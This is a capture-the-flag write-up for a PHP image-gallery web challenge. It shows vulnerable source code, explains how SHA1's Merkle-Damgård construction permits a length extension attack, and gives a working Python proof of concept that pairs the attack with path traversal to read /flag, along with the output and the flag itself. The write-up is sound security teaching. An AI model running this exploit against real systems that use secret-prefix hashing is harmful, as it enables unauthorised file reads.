Statement #
Woof woof
http://chal.competitivecyber.club:7777
Author: Dylan (elbee3779)
Overview #
For this web challenge, here are the provided source files:
.
├── assets
│ ├── BAD.gif
│ ├── script.js
│ └── style.css
├── index.php
├── pupper
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── 5.png
│ ├── 6.png
│ ├── 7.png
│ └── 8.png
└── view.php
2 directories, 13 files
The website corresponds to an image gallery that can be viewed in larger size. When clicking on an image to enlarge it, a redirection to /view.php
with the parameters pic
and hash
is performed. The first parameter corresponds to the value of the rel
attribute, and the second to the media
attribute of the a
tag:
<a href="#" media="06dadc9db741e1c2a91f266203f01b9224b5facf" rel="1.png">
<img src="pupper/1.png" alt="">
</a>
Let’s analyze the view.php
file:
<?php
$pic = $_GET['pic'];
$hash = $_GET['hash'];
if(sha1("TEST SECRET1".$pic)==$hash){
$imgdata = base64_encode(file_get_contents("pupper/".str_replace("\0","",$pic)));
echo "<!DOCTYPE html>";
echo "<html><body><h1>Here's your picture:</h1>";
echo "<img src='data:image/png;base64,".$imgdata."'>";
echo "</body></html>";
}else{
echo "<!DOCTYPE html><html><body>";
echo "<h1>Invalid hash provided!</h1>";
echo '<img src="assets/BAD.gif"/>';
echo "</body></html>";
}
// The flag is at /flag, that's all you're getting!
?>
Here we can see that the value of pic
corresponds to the file name read by the file_get_contents()
function, and hash
to SHA1(secret || $pic)
. To read a file on the server, we need the correct SHA1 signature of the secret concatenated with the file name to read. Additionally, we notice a loose comparison in the condition that verifies the signature. This suggests a PHP type juggling vulnerability. However, to exploit it, we would need to generate a SHA1 hash in the form 0e
followed by digits (0 to 9) from an input allowing us to read the /flag
file. This is impossible, so we need to find another way to read the flag.
Solution #
To solve this challenge, we need to briefly understand how SHA1 hashes inputs. Then, based on that, we can exploit a vulnerability related to algorithms based on the Merkle-Damgård Construction like MD5, SHA1, or certain versions of SHA2.
SHA1 #
Here is a diagram to briefly explain how SHA1 hashes inputs:
SHA1 splits the input into 64-byte blocks. If a block is less than 64 bytes, padding is added to make it the correct size. The last chunk will contain an end bit set to 1, i.e., 0x80 (in base2 => 1000 0000), followed by padding and the input size in 8 bytes (in bits). Each chunk is then hashed based on the hash generated by the previous chunk. For the first chunk, h0, h1, h2, h3, and h4 are default values. Now that we have a basic understanding of how SHA1 works, we can understand how the attack works.
Length Extension Attack #
This attack exploits the fact that SHA1 hashes each block based on the hash of the previous block. We can fill chunk1 with “1.png”, the end bit, padding, and the input size, then write whatever we want in chunk2. Since the data in chunk1 will be the same as the original, we will have the hash of chunk1 to hash chunk2:
Let’s revisit the source code of the view.php
file:
$pic = $_GET['pic'];
$hash = $_GET['hash'];
if(sha1("TEST SECRET1".$pic)==$hash){
$imgdata = base64_encode(file_get_contents("pupper/".str_replace("\0","",$pic)));
echo "<!DOCTYPE html>";
echo "<html><body><h1>Here's your picture:</h1>";
echo "<img src='data:image/png;base64,".$imgdata."'>";
echo "</body></html>";
}
To read the flag, we just need to fill chunk1 as described earlier and add the path to be appended in chunk2. The payload for this will be passed to the pic
parameter. Then, we need to generate the hash of the payload passed to pic
based on the hash of secret||1.png
, i.e., 06dadc9db741e1c2a91f266203f01b9224b5facf
.
Exploitation #
To exploit this vulnerability, we can use hlextend to simplify the process. Since we don’t know the secret’s length, we will simply test several padding lengths until it works.
PoC:
import requests
import hlextend
for i in range(1, 30):
sha = hlextend.new('sha1')
pic = sha.extend(b'/../../../../../flag', b'1.png', i, '06dadc9db741e1c2a91f266203f01b9224b5facf')
hash = sha.hexdigest()
url = f'http://chal.competitivecyber.club:7777/view.php?pic={requests.utils.quote(pic)}&hash={hash}'
r = requests.get(url)
if 'Invalid hash provided!' not in r.text:
print(r.text)
break
Result:
$ python3 solver.py
<!DOCTYPE html><html><body><h1>Here's your picture:</h1><img src='data:image/png;base64,cGN0ZnszeHQzbmRfbXlfdGg0bms1X2U5YjVmNmFhMDd9Cg=='></body></html>
$ echo "cGN0ZnszeHQzbmRfbXlfdGg0bms1X2U5YjVmNmFhMDd9Cg=="|base64 -d
pctf{3xt3nd_my_th4nk5_e9b5f6aa07}
Flag: pctf{3xt3nd_my_th4nk5_e9b5f6aa07}